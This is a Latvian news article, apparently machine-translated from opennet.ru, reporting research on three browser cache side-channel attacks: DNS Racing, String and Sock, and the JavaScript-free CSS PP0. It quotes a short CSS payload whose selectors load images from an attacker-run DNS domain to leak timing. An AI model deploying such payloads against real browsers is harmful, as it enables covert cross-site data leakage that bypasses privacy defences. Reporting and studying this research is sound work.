CPU kešatmiņas ekstrakcijas uzbrukums īstenots tīmekļa pārlūkprogrammā bez JavaScript

Pētnieku komanda no vairākām Amerikas, Izraēlas un Austrālijas universitātēm ir izstrādājusi trīs uzbrukumus, kas darbojas tīmekļa pārlūkprogrammās, lai iegūtu informāciju par procesora kešatmiņas saturu. Viena metode darbojas pārlūkprogrammās bez JavaScript, bet pārējās divas apiet esošās aizsardzības metodes pret sānu kanālu uzbrukumiem, tostarp tās, kuras tiek izmantotas pārlūkprogrammā Tor un DeterFox. Uzbrukumu demonstrēšanas kods, kā arī uzbrukumiem nepieciešamie servera komponenti tiek publicēti vietnē GitHub.

Lai analizētu kešatmiņas saturu, visos uzbrukumos tiek izmantota Prime+Probe metode, kas ietver kešatmiņas aizpildīšanu ar standarta vērtību kopu un izmaiņu noteikšanu, mērot piekļuves laiku tām, kad tās tiek atkārtoti aizpildītas. Lai apietu pārlūkprogrammās esošos drošības mehānismus, kas traucē precīzu laika mērīšanu, divos veidos tiek iesniegta apelācija DNS vai WebSocket serverim, kuru kontrolē uzbrucējs, kurš reģistrē saņemto pieprasījumu laiku. Vienā iemiesojumā fiksēts DNS atbildes laiks tiek izmantots kā laika atsauce.

Mērījumi, kas veikti, izmantojot ārējos DNS vai WebSocket serverus, izmantojot klasifikācijas sistēmu, kas balstīta uz mašīnmācīšanos, bija pietiekami, lai optimālākajā scenārijā prognozētu vērtības ar precizitāti līdz 98% (vidēji 80-90%). Uzbrukuma metodes ir pārbaudītas dažādās aparatūras platformās (Intel, AMD Ryzen, Apple M1, Samsung Exynos) un ir izrādījušās universālas.

CPU kešatmiņas ekstrakcijas uzbrukums īstenots tīmekļa pārlūkprogrammā bez JavaScript

Pirmajā DNS Racing uzbrukuma variantā tiek izmantota klasiska Prime+Probe metodes ieviešana, izmantojot JavaScript masīvus. Atšķirības ir saistītas ar ārēja DNS taimera un kļūdu apstrādātāja izmantošanu, kas tiek aktivizēts, kad tiek mēģināts ielādēt attēlu no neesoša domēna. Ārējais taimeris ļauj veikt Prime+Probe uzbrukumu pārlūkprogrammām, kas ierobežo vai pilnībā atspējo piekļuvi JavaScript taimeriem.

DNS serverim, kas atrodas tajā pašā Ethernet tīklā, tiek lēsts, ka taimera precizitāte ir aptuveni 2 ms, kas ir pietiekami, lai veiktu sānu kanāla uzbrukumu (salīdzinājumam Tor Browser standarta JavaScript taimera precizitāte ir samazināts līdz 100 ms). Uzbrukumam DNS servera kontrole nav nepieciešama, jo operācijas izpildes laiks ir izvēlēts tā, lai atbildes laiks no DNS kalpotu kā zīme par agrāku pārbaudes pabeigšanu (atkarībā no tā, vai tika iedarbināts kļūdu apstrādātājs agrāk vai vēlāk tiek izdarīts secinājums par pārbaudes darbības ātrumu ar kešatmiņu) .

Otrās uzbrukuma metodes "String and Sock" mērķis ir apiet drošības metodes, kas ierobežo zema līmeņa masīvu izmantošanu JavaScript. Masīvu vietā String un Sock izmanto operācijas ar ļoti lielām virknēm, kuru lielums ir izvēlēts tā, lai mainīgais aptver visu LLC kešatmiņu (Pēdējā līmeņa kešatmiņa). Tālāk, izmantojot funkciju indexOf(), virknē tiek meklēta neliela apakšvirkne, kuras avota virknē sākotnēji nav, t.i. meklēšanas darbības rezultātā tiek veikta atkārtošanās visā virknē. Tā kā līnijas izmērs atbilst LLC kešatmiņas lielumam, skenēšana ļauj veikt kešatmiņas pārbaudes darbību, neveicot manipulācijas ar masīviem. Aizkaves mērīšanai DNS vietā tiek veikts zvans uz WebSocket serveri, kuru kontrolē uzbrucējs - pirms un pēc meklēšanas darbības pabeigšanas rindā tiek nosūtīti vaicājumi, pamatojoties uz kuriem serveris aprēķina aizkavi, kas izmantota kešatmiņas analīzei. saturu.

Trešais “CSS PP0” uzbrukuma variants tiek īstenots, izmantojot HTML un CSS, un tas var darboties pārlūkprogrammās ar atspējotu JavaScript. Metode ir līdzīga "String and Sock", bet nav saistīta ar JavaScript. Uzbrukuma laikā tiek ģenerēts CSS atlasītāju komplekts, kas meklē pēc maskas. Sākotnējā lielā virkne, kas aizpilda kešatmiņu, tiek iestatīta, izveidojot div tagu ar ļoti lielu klases nosaukumu. Iekšpusē ir citu div vienumu komplekts ar saviem identifikatoriem. Katram no šiem ligzdotajiem elementiem ir savs stils ar atlasītāju, kas meklē apakšvirkni. Renderējot lapu, pārlūkprogramma vispirms mēģina apstrādāt iekšējos divelementus, kā rezultātā tiek veikta meklēšanas darbība lielā rindā. Meklēšana tiek veikta, izmantojot apzināti trūkstošu masku, un tā noved pie iterācijas visā rindā, pēc tam tiek aktivizēts nosacījums “nē” un tiek mēģināts ielādēt fona attēlu, kas atsaucas uz nejaušiem domēniem: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Apakšdomēnus apkalpo uzbrucēja DNS serveris, kas var izmērīt pieprasījumu saņemšanas aizkavēšanos. DNS serveris visiem pieprasījumiem izdod NXDOMAIN un saglabā precīzu pieprasījumu iesniegšanas laiku. Divu kopas apstrādes rezultātā uzbrucēja DNS serveris saņem virkni pieprasījumu, kuru aizkave korelē ar kešatmiņas satura pārbaudes rezultātu.

CPU kešatmiņas ekstrakcijas uzbrukums īstenots tīmekļa pārlūkprogrammā bez JavaScript


Avots: opennet.ru

Pievieno komentāru